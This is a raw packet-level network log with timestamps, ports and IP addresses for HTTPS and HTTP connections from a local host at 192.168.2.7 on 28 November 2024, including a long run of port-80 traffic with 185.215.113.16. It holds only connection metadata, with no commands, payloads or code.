Nov 28, 2024 11:05:42.108566046 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.108697891 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.108711958 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.108724117 CET	49909	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.108727932 CET	443	49909	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.111633062 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.111674070 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.111917973 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.112046003 CET	49919	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.112057924 CET	443	49919	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.134919882 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.134952068 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.135010958 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.135036945 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.135052919 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.138118029 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.141767025 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.141787052 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.141868114 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.141887903 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.142143965 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.143021107 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.143779039 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.157423973 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.157519102 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.202635050 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.202666044 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.202709913 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.202744007 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.202760935 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.203247070 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.210177898 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.210203886 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.210244894 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.210267067 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.210293055 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.210479975 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.210928917 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.210983038 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.223491907 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.223519087 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.223551989 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.223577976 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.223589897 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.223948002 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.274970055 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.275033951 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.275165081 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.275592089 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.275623083 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.275635958 CET	49910	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.275643110 CET	443	49910	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.278841019 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.278896093 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.279128075 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.279540062 CET	49920	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.279553890 CET	443	49920	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.280972004 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.280996084 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.281049013 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.281063080 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.281089067 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.281105995 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.309269905 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.309302092 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.309386015 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.309411049 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.309508085 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.322191954 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.322559118 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.322577000 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.322580099 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.322607994 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.322632074 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.322643995 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.323762894 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.335212946 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.335275888 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.348047018 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.348072052 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.348104000 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.348123074 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.348155975 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.350116968 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.358650923 CET	49921	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.358694077 CET	443	49921	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:42.358834982 CET	49921	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.359107971 CET	49921	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.359119892 CET	443	49921	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:42.361510038 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.361538887 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.361593962 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.361608028 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.361639023 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.361800909 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.366125107 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.366147041 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.366216898 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.366216898 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.366230965 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.370120049 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.376707077 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.376766920 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.376847982 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.377001047 CET	49913	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.377017021 CET	443	49913	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.385494947 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.385520935 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.385585070 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.385608912 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.385629892 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.385644913 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.398833036 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.398916960 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.403222084 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.403294086 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.403296947 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.403331995 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.426105022 CET	49912	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.426140070 CET	443	49912	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.474086046 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.474173069 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.474174976 CET	443	49911	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:42.474569082 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.474569082 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.475325108 CET	49911	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:42.813595057 CET	49922	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.813642979 CET	443	49922	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:42.814011097 CET	49922	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.814553976 CET	49922	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:42.814570904 CET	443	49922	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:42.822521925 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.823947906 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.823971033 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:42.825668097 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:42.825678110 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.114826918 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.114891052 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.114917994 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.115081072 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.115654945 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.115848064 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.115860939 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.115895987 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.116355896 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.116405964 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.116415977 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.116461039 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.116461039 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.117134094 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.117185116 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.117233992 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.117379904 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.171092987 CET	49923	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.171134949 CET	443	49923	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.171441078 CET	49923	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.171788931 CET	49923	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.171806097 CET	443	49923	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.234875917 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.234920025 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.234954119 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.234954119 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.239090919 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.239193916 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.248852015 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.248879910 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.248928070 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.248928070 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.267626047 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.267707109 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.268132925 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.268132925 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.268486977 CET	49914	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.268507957 CET	443	49914	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.271298885 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.271348953 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.271554947 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.271913052 CET	49924	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.271923065 CET	443	49924	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.307646990 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.307676077 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.307740927 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.310353994 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.310389996 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.310399055 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.310432911 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.318557978 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.318650961 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.318691015 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.318691015 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.327075958 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.327105999 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.327153921 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.327153921 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.335434914 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.335464954 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.335524082 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.335524082 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.343765020 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.343833923 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.343872070 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.343872070 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.352185965 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.352248907 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.352300882 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.360563993 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.360610008 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.360636950 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.360733986 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.368958950 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.369009972 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.369040012 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.369040012 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.376748085 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.376808882 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.376854897 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.384392023 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.384530067 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.483081102 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.483115911 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.483192921 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.485110998 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.485172033 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.499378920 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.499414921 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.499464035 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.499464035 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.500324965 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.500821114 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.500853062 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.501338959 CET	49916	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.501344919 CET	443	49916	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.501610994 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.501672983 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.502372980 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.502496004 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.502506018 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.502665043 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.506773949 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.506859064 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.506860971 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.506927967 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.511133909 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.511181116 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.511235952 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.511624098 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.515517950 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.515578985 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.515582085 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.515738964 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.519893885 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.519988060 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.520003080 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.520167112 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.524286032 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.524348021 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.524390936 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.524883986 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.528671026 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.528734922 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.528775930 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.528919935 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.533085108 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.533157110 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.533179045 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.533674955 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.537517071 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.537573099 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.537581921 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.537780046 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.541897058 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.542013884 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.542049885 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.542049885 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.546225071 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.546282053 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.546354055 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.546390057 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.550741911 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.550800085 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.550802946 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.550956011 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.554964066 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.555017948 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.555022955 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.555422068 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.559485912 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.559552908 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.559580088 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.559705019 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.563711882 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.563774109 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.563826084 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.564273119 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.568068027 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.568135023 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.568172932 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.568315029 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.572482109 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.572545052 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.572742939 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.572814941 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.576814890 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.576904058 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.576962948 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.577334881 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.581253052 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.581346989 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.581386089 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.581387043 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.585649967 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.585752010 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.588695049 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.589169979 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.589201927 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.589618921 CET	49917	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:43.589627981 CET	443	49917	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:43.668379068 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.668678999 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.668706894 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.669027090 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.669312954 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.669367075 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.669471025 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.669553041 CET	49918	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:43.669568062 CET	443	49918	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:43.674813986 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.674865961 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.674885988 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.675281048 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.676733971 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.676770926 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.676793098 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.676945925 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.680903912 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.680993080 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.691679001 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.691732883 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:43.691776037 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:43.691818953 CET	49915	80	192.168.2.7	185.215.113.16
